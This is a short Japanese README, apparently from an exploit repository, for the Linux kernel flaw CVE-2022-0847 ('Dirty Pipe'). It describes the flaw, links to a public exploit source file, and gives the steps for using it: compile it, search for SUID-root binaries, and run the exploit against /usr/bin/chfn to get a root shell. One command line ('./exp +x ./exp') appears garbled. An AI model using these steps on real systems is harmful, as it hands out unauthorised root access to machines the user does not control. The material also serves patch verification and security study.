CVE-2022-0847-DirtyPipe

脆弱性の概要

3月7日、海外のセキュリティ研究者Max Kellermannがブログを公開し、Linuxカーネルに存在するローカル権限昇格の脆弱性CVE-2022-0847を開示しました： https://dirtypipe.cm4all.com/

CVE-2022-0847は、Linuxカーネル5.8以降のバージョンに存在するローカル権限昇格の脆弱性です。攻撃者はこの脆弱性を悪用することで、読み取り可能な任意のファイル内のデータを上書きでき、通常権限のユーザーを特権rootに昇格させることができます。

CVE-2022-0847の脆弱性の原理はCVE-2016-5195 Dirty Cow（ダーティ・カウ）の脆弱性に類似していますが、より容易に悪用できます。脆弱性の作者はこの脆弱性を「Dirty Pipe」と命名しました。

EXPの使用方法

リンク: https://haxx.in/files/dirtypipez.c
作者: Max Kellermann [email protected]

gcc -o exp exploit.c
./exp +x ./exp

# 查找suid文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

./exp /usr/bin/chfn